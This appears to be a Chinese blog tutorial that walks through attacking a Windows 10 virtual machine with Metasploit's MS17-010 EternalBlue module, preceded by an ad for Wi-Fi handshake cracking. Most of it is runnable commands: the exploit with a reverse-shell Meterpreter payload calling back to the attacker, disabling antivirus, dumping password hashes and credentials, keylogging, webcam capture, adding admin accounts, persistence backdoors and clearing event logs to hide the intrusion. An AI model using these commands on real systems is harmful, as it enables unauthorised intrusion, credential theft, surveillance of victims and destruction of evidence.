kali攻击win10远程连接漏洞 不夸张,一文秒懂MSF

在线wifi跑包 金刚包跑包 cap跑包 hccapx ewsa在线 就来 握手包跑包

各位好 又见面了 我是曹操 今天给大家带来一篇新的教程

希望各位细心学习 低调用网

kali攻击win10远程连接漏洞kali攻击win10远程连接漏洞

实验环境 靶机:Windows 10虚拟机攻击机:Kali虚拟机

简介 Metasploit Framework(MSF)是一款开源安全漏洞监测工具,该工具已附带数千个已知的软件漏洞,且仍在保持更新。Metaploit可以用于信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被各大安全社区誉为”可以黑掉整个宇宙”。初期的Metasploit是采用Perl语言编写的,但在后来的新版改成了Ruby。我们常用的kali中则自带了Metasploit工具。本篇文章,我们以大名鼎鼎的永恒之蓝MS17_010漏洞为切入点,展开讲讲MSF框架的使用。

使用方法1.基础使用

/usr/share/metasploit-framework/modules/exploits

kali攻击win10远程连接漏洞kali攻击win10远程连接漏洞

2.漏洞利用(exploit) 漏洞利用exploit,也就是我们常说的exp,它就是对漏洞进行攻击的代码。先看看exploit漏洞利用模块路径(这里面有针对不同平台的exploit) 进入Windows平台,在这里会列出针对Windows平台不同服务器的漏洞利用模块

kali攻击win10远程连接漏洞

/usr/share/metasploit-framework/modules/payloads

再进入smb服务,这是Windows中经常爆出漏洞的服务,我们要讲的永恒之蓝漏洞就在这里,漏洞利用代码通常是以rb结尾的文件(matasploit是Ruby编写的)。

3.攻击载荷 payload:payload中包含攻击进入目标主机后需要在远程系统中运行的恶意代码,而Metasploit中的payload是一种特殊的模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了payload在目标中的行为。shellcode:shellcode是payload中的精髓部分,在渗透攻击时作为攻击载荷运行的一组机器指令。shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了shellcode这一组指令之后,才会提供一个命令行shell。

3.1payload模块路径

kali攻击win10远程连接漏洞

Single:是一种完全独立的payload,而且使用起来就像运行calc.exe一样简单,例如添加一个系统用户或删除一份文件。由于Single Payload是完全独立的,因此它们有可能会被类似netcat这样的非Metasploit处理工具所捕捉到。
Stager:这种Payload负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。一种常见的Stager Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条tcp连接,让目标系统主动连接我们的端口(反向连接)。另一种常见的是bind_tcp,它可以让目标系统开启一个tcp监听器,而攻击者随时可以与目标系统进行通信(正向连接)。
Stage:是Stager Payload下的一种Payload组件,这种payload可以提供更加高级的功能,而且没有大小限制。
# Single Payload的格式为:
/ 如:Windows/powershell_bind_tcp
# Stager/Stage Payload的格式为:
/  / 如:Windows/meterpreter/reverse_tcp

kali攻击win10远程连接漏洞

3.2Metasploit中的payload模块主要类型 在Metasploit中,我们可以通过Payload的名称和使用格式来推断它的类型 在这个列表中,像 windows/powershellbindtcp 就是一个Single Payload,它不包含Stage Payload。而windows/meterpreter/reversetcp 则由一个Stage Payload(meterpreter)和 一个Stager Payload(reversetcp)组成。Stager中几种常见的payload

search ms17_010#利用search命令,搜索漏洞相关利用模块

正向连接使用场景 我们的攻击机在内网环境,被攻击机是外网环境,由于被攻击无法主动连接到我们的主机,所以就必须我们主动连接被攻击机了。但是这里经常遇到的问题是,被攻击机上开了防火墙,只允许指定的端口,比如对外开放了80端口。那么,我们就只能设置正向连接80端口了,这里很有可能失败,因为80端口上的流量太多了。

反向连接使用场景 我们的主机和被攻击机都在外网或者都在内网,这样被攻击机就能主动连接到我们的主机了。如果是这种情况,建议使用反向连接,因为反向连接的话,即使被攻击机开了防火墙也没事,防火墙只是阻止进入被攻击机的流量,而不会阻止被攻击机主动向外连接的流量。

反向连接80和443端口使用场景 被攻击机能够主动连接到我们的主机,还有就是被攻击机的防火墙设置的特别严格,就连被攻击机访问外部网络的流量也进行了严格的限制,只允许被攻击机的80端口或443端口与外部通信。

4.Meterpreter Meterpreter属于stage payload,在Metasploit Framework中,Meterpreter是一种后渗透工具,它属于在运行过程中可通过网络进行功能扩展的动态可扩展型Payload。这种工具是基于”内存DLL注入”理念实现的。它能够通过创建一个新进程并调用注入的DLL来让目标系统运行注入的DLL文件。

4.1.Meterpreter是如何工作的 首先目标先要执行初始的溢出漏洞会话连接,可能是bind正向连接,或者反向reverse连接。反向连接的时候加载dll链接文件,同时后台悄悄处理dll文件。其次Meterpreter核心代码初始化,通过socket套接字建立一个TLS/1.0加密隧道并发送GET请求给Metasploit服务端。Metasploit服务端收到这个GET请求后就配置相应客户端。最后,Meterpreter加载扩展,所有的扩展被加载都通过TLS/1.0进行数据传输。

4.2Meterpreter的特点 我们在设置payloads时,可以将payloads设置为:Windows/meterpreter/reverse_tcp,然后获得了meterpreter> 之后我们就可以干很多事情了!具体做的事情,我们下面的后渗透阶段都有讲

5.MS17010(永恒之蓝) 我们现在模拟使用MS17010漏洞攻击,这个漏洞就是前些年危害全球的勒索病毒利用的永恒之蓝漏洞。

5.1 查找漏洞相关模块5.2 搜索MS17_010漏洞

kali攻击win10远程连接漏洞

use auxiliary/scanner/smb/smb_ms17_010

这里找到了五个模块,前三个是漏洞利用,后两个是辅助模块,主要探测主机是否存在MS17_010漏洞。

5.3 利用Auxiliary辅助探测模块进行漏洞探测 Auxiliary辅助探测模块:该模块不会直接在攻击机和靶机之间建立访问,它们只负责执行扫描、嗅探、指纹识别等相关功能以辅助渗透测试。使用smbms17010漏洞探测模块进行探测

show options #查看这个模块需要配置的信息

kali攻击win10远程连接漏洞

set rhosts 192.168.10.30-192.168.10.50
exploit

kali攻击win10远程连接漏洞

use exploit/windows/smb/ms17_010_eternalblue
info

kali攻击win10远程连接漏洞

show targets

查看这个模块需要的配置信息 设置需要探测的远程目标 对上述IP范围内的主机进行攻击

5.4 使用exploit漏洞利用模块进行利用 查看这个漏洞的信息 查看可攻击的系统平台,显示当前攻击模块针对哪些特定操作系统版本、语言版本的系统

kali攻击win10远程连接漏洞kali攻击win10远程连接漏洞

注意:这里只有一个,有些其他的漏洞模块对操作系统的语言和版本要求很严格,比如MS08_067,这样我们就要指定模板系统的版本。如果不设置,MSF会自动帮我们判断模板系统的版本和语言(利用目标系统的指纹特征)。

5.5 Payload攻击载荷模块 攻击载荷是我们期望在目标系统在被渗透攻击之后完成的实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行的任意命令。查看攻击载荷show payloads# 该命令可以查看当前漏洞利用模块下所有的payload

set payload windows/x64/meterpreter/reverse_tcp
show options

kali攻击win10远程连接漏洞kali攻击win10远程连接漏洞

设置攻击载荷 查看模块需要配置的参数 设置攻击载荷参数set RHOST 192.168.10.42# 设置RHOST,也就是被攻击的IPset LHOST 192.168.10.37# 设置LHOST,也就是我们的主机,用于接收从目标机弹回来的shellset lport 1377# 设置lport,也就是我们主机的端口,反弹shell到这个端口

kali攻击win10远程连接漏洞kali攻击win10远程连接漏洞

进行攻击exploit / run 后渗透阶段 运行exploit命令之后,我们开启了一个reverse tcp监听器来监听本地的1377端口,即我们攻击者本地主机的地址和端口号。运行成功之后,我们将会看到命令提示符 meterpreter > 我们输入 shell即可切换到目标主机的Windows cmdshell里面shell# 获取目标主机的cmdshellchcp 65001# 这里为了避免目标主机cmd_shell字符乱码,设置目标主机命令行的字符编码

kali攻击win10远程连接漏洞

background

kali攻击win10远程连接漏洞

要想从目标主机shell退出到meterpreter,我们输入exit 从meterpreter退出MSF框架 查看前面获取到的meterpreter_shell 会话,最前面的数字是会话的IDsession -l

kali攻击win10远程连接漏洞kali攻击win10远程连接漏洞kali攻击win10远程连接漏洞

输入session [id号]即可进入响应的meterpreter_shell中 输入 shell即可进入cmd类型的控制,再输入 powershell,即可进入powershell类型的控制台 POST后渗透模块该模块主要用于取得目标主机系统远程控制权后,进行一系列的后渗透攻击动作。

sysinfo

kali攻击win10远程连接漏洞

run post/windows/gather/checkvm

kali攻击win10远程连接漏洞

run killav

kali攻击win10远程连接漏洞

run scraper

kali攻击win10远程连接漏洞

pwd     #查看当前目录
cd      #切换目标目录;
cat     #读取文件内容;
rm      #删除文件;
edit    #使用vim编辑文件
ls      #获取当前目录下的文件;
mkdir   #新建目录;
rmdir   #删除目录;

kali攻击win10远程连接漏洞

download file # 命令可以帮助我们从目标系统中下载文件

输入 sysinfo查看目标主机信息 查看主机是否运行在虚拟机上 关闭杀毒软件 获取目标主机的详细信息 它将目标机器上的常见信息收集起来然后下载保存在本地 访问文件系统 上传/下载文件下载文件

kali攻击win10远程连接漏洞

upload file # 命令则能够向目标系统上传文件

kali攻击win10远程连接漏洞

getuid # 命令可以获取当前用户的信息
getsystem # 自动提权为系统权限(可能会失败)

上传文件 权限提升 有的时候,你可能会发现自己的Meterpreter会话受到了用户权限的限制,而这将会严重影响你在目标系统中的活动,比如:修改注册表、安装后门或盗取密码等活动,都需要提升用户权限,而Meterpreter给我们提供了一个getsystem命令,它可以使用多种技术在目标系统中实现提权。

run windows/gather/credentials/windows_autologin

kali攻击win10远程连接漏洞

hashdump

获取用户密码抓取自动登录密码 很多用户习惯将计算机设置自动登录,可以使用 run windows/gather/credentials/windows_autologin抓取用户名和密码。 这里是一个新环境。 导出密码哈希

load kiwi

可以放入cmd5.com,进行破解hash MSF自带kiwi模块抓取密码kiwi模块 使用kiwi模块需要system权限,所以我们在使用该模块之前需要将当前MSF中的shell提升为system。提到system有两个方法,一是当前的权限是administrator用户,二是利用其它手段先提权到administrator用户。然后administrator用户可以直接getsystem到system权限。 kiwi模块使用 提权到system权限进程迁移加载kiwi模块

run post/windows/gather/enum_applications

kali攻击win10远程连接漏洞

#execute命令用法:
execute [参数] -f 指定的可执行文件
-f:指定可执行文件
-H:创建一个隐藏进程
-a:传递给命令的参数
-i:跟进程进行交互
-m:从内存中执行
-t:使用当前伪造的线程令牌运行进程
-s:在给定会话中执行进程

kali攻击win10远程连接漏洞

screenshot

kali攻击win10远程连接漏洞kali攻击win10远程连接漏洞

run post/windows/gather/enum_logged_on_users

kali攻击win10远程连接漏洞

run getgui -u 用户 -p 密码
-u:指定用户
-p:指定密码

运行程序 查看目标主机上安装了哪些应用 在meterpreter_shell命令执行目标系统中的应用程序 屏幕截图 截图目标主机屏幕 创建一个新账号 先查看目标主机有哪些用户 在目标系统中创建一个新的用户方法一

kali攻击win10远程连接漏洞

enable_rdp 脚本
run post/windows/manage/enable_rdp USERNAME=test2 PASSWORD=Abc123456 # 添加用户
run post/windows/manage/enable_rdp # 开启远程桌面
run post/windows/manage/enable_rdp FORWARD=true LPORT=6662 # 将3389转发到6662

注:这个命令会创建用户,并把他添加到Administrators组中,这样该用户就拥有了管理员权限。 如果添加到Administrators组中失败了的话,我们可以进入到shell命令行窗口中,进行创建。在目标系统的远程桌面组创建账号

kali攻击win10远程连接漏洞kali攻击win10远程连接漏洞

启用远程桌面 当我们新添加的用户已经拥有远程桌面之后,我们就可以使用这个账号凭据来开启远程桌面会话了。首先,我们需要确保目标Windows设备开启了远程桌面功能(需要开启多个服务),我们输入:run post/windows/manage/enable_rdp 命令可以开启远程桌面。在开启远程桌面会话之前,我们还需要使用idletime命令检查远程用户的空闲时长idletime# 检查远程用户的空闲时长

run post/windows/manage/enable_rdp

kali攻击win10远程连接漏洞kali攻击win10远程连接漏洞kali攻击win10远程连接漏洞kali攻击win10远程连接漏洞

开启远程桌面 远程登录主机 键盘记录 Meterpreter还可以在目标设备上实现键盘记录功能,键盘记录功能主要涉及以下三种命令keyscanstart# 开启键盘记录功能,开关键盘记录功能后目标输入的内容通过keyscandump查看keyscandump# 显示捕捉到的键盘记录信息keyscanstop# 停止键盘记录功能 进程迁移 Meterpreter既可以单独运行,也可以与其他进程进行绑定。因此我们可以让Meterpreter与类似explorer.exe这样的程序进行绑定并以此来实现持久化。

kali攻击win10远程连接漏洞kali攻击win10远程连接漏洞

uictl disable(enable) keyboard # 禁止(允许)目标使用键盘
uictl disable(enable) mouse # 禁止(允许)目标使用鼠标

可以使用getpid查看我们当前进程的ID 使用migrate+目标ID进程迁移进程 或者使用自动迁移进程命令 run post/windows/manage/migrate系统会自动寻找合适进程并迁移进程 禁止目标主机使用键盘鼠标

webcam_list # 获取目标系统的摄像头列表
webcam_snap # 从指定的摄像头,拍摄照片
webcam_stream # 从指定的摄像头,开启视频
load/use # 加载模块
load -l  # 列出所有可用的扩展
load -help  # 帮助、说明

kali攻击win10远程连接漏洞

run # 执行一个已有模块
# run+双击Tab键,会列出所有的已有的脚本
# 常用的有autoroute,hashdump,arp_scanner,multi_meter_inject等

用目标主机摄像头拍照 常用的扩展库介绍 Meterpreter中不仅有基本命令还有很多扩展库。 load/use命令 输入命令:load -l会列出所有可用的扩展 输入命令:load双击TAB键列出可用扩展 run命令

kali攻击win10远程连接漏洞kali攻击win10远程连接漏洞

run+双击Tab键,会列出所有的已有脚本 生成可持续后门因为meterpreter是基于内存DLL建立的连接,所以,只要目标主机关机,我们的连接就会断。总不可能我们每次想连接的时候,每次都去攻击,然后再利用meterpreter建立连接。所以,我们得在目标主机系统内留下一个持续性的后门,只要目标主机开机了,我们就可以连接到该主机。建立持续性后门有两种方法,一种是通过启动项(persistence),一种是通过服务启动(metsvc)浏览器进入:MSF生成后门木马cnblogs.com/trevain/p/13675241.html然后放到Windows的启动目录中C:Users$username$AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup这样这个后门每次开机就都能够启动了,然后我们只要相连就能监听响应的端口就可以了。 服务器启动 通过服务器启动,我们可以运行命令run exploit/windows/local/persistence lhost=192.168.10.39 lport=8888# 自动连接192.168.10.39的8888端口,缺点容易被杀软查杀 # 然后它就在目标机新建了这个文件 C:windowsTEMP***.vbs,并把该服务加入了注册表,只要开机就会启动

kali攻击win10远程连接漏洞

portfwd add -l 9999 -r 192.168.10.42 -p 3389
# 将192.168.10.42的3389端口转发到本地的9999端口上,这里的192.168.10.42是获取到权限的目标主机
-l  # 本地监听的端口,用于接收目标主机的端口反弹
-p # 目标服务器的端口
add # 添加一个连接

我这里是没有放入后门文件的,所以这里是持久化失败。可以看到已经生成了一个VBScrip脚本 查看目标机的端口连接情况,就可以看到目标机连接了攻击者的8888端口,我这里没生成后门,所以不做演示。 设置socks代理 浏览器进入:内网渗透之代理转发blog.csdn.net/whatday/article/details/112397088?opsrequestmisc=%7B%22request%5Fid%22%3A%22164879326016780255214266%22%2C%22scm%22%3A%2220140713.130102334.pc%5Fall.%22%7D&requestid=164879326016780255214266&bizid=0&utmmedium=distribute.pcsearchresult.none-task-blog-2~all~firstrankecpmv1~rankv31ecpm-1-112397088.142^v5^pcsearchresultcache&utmterm=内网渗透之代理转发&spm=1018.2226.3001.4187 portfwd端口转发 portfwd是meterpreter提供的一种基本的端口转发。porfwd可以反弹单个端口到本地,并且监听,使用方法如下

kali攻击win10远程连接漏洞

然后我们只要访问本地的9999端口就可以连接到目标主机的3389端口了rdesktop 127.0.0.1:9999因为通过端口转发功能已经把目标主机的3389端口流量转发到本地的9999端口了,所以直接连接本地的9999端口即可。

kali攻击win10远程连接漏洞

clearev # 清除事件日志

第一次连接,可能会有提示,需要信任证书,输入yes 如果不想继续连接的话,可以删除当前简历的连接,命令如下portfwd delete -l 9999 -r 192.168.10.42 -p 3389delete# 删除一个连接 清除事件日志 完成攻击操作之后,千万别忘了”打扫战场”。我们所有的操作记录都会被记录在目标系统的日志文件中,所以需要以下命令来清除事件日志

kali攻击win10远程连接漏洞

load powershell                            #加载powershell功能
powershell_import /root/PowerView.ps1       #导入powershell脚本,提前将该powershell脚本放到指定目录
powershell_execute Get-NetDomain            #执行该脚本下的功能模块Get-domain,该模块用于获取域信息,一个脚本下通常有多个功能模块;获取当前用户所在域的名称;
powershell_execute Invoke-UserHunter       #该功能模块用于定位域管理员登录的主机;
powershell_execute Get-NetForest            #该模块用于定位域信息
powershell_execute Invoke-EnumerateLocalAdmin      #枚举域中所有计算机上本地管理员组的成员

kali攻击win10远程连接漏洞kali攻击win10远程连接漏洞

导入并执行powershell脚本 如果powershell脚本是用于域内信息收集的,则获取到的权限用户需要是域用户 加载stdapi 有时候我们虽然获得了meterpreter,但是执行一些命令会显示没有该命令,这时候我们可以执行:load stdapi来加载,这样我们就可以执行命令了。注意:【旧版的msf存在这种问题,新版已无需扩展】

kali攻击win10远程连接漏洞

升级session 有时候,当我们收到的不是meterpreter类型的session的话,可能不好操作;比如webshell类型的session。我们可以执行sessions -u id来升级session。执行该命令,默认调用的是post/multi/manage/shelltometerpreter模块。

赞(8)